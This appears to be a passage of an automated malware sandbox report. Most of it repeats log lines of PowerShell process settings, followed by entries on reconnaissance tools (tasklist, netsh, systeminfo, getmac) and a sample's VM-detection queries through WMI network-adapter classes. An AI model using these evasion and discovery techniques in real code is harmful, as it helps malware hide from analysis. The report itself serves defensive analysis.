Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\systeminfo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : ASSOCIATORS OF {Win32_NetworkAdapter.DeviceID="1"} WHERE ResultClass=Win32_NetworkAdapterConfiguration
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_NetworkAdapterSetting where Element="Win32_NetworkAdapter.DeviceID=\"1\""

Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Memory allocated: 17B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Memory allocated: 31B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Memory allocated: 51B0000 memory reserve \| memory write watch
Source: C:\agentInto\fontsessionruntime.exe	Memory allocated: 16B0000 memory reserve \| memory write watch
Source: C:\agentInto\fontsessionruntime.exe	Memory allocated: 1B420000 memory reserve \| memory write watch

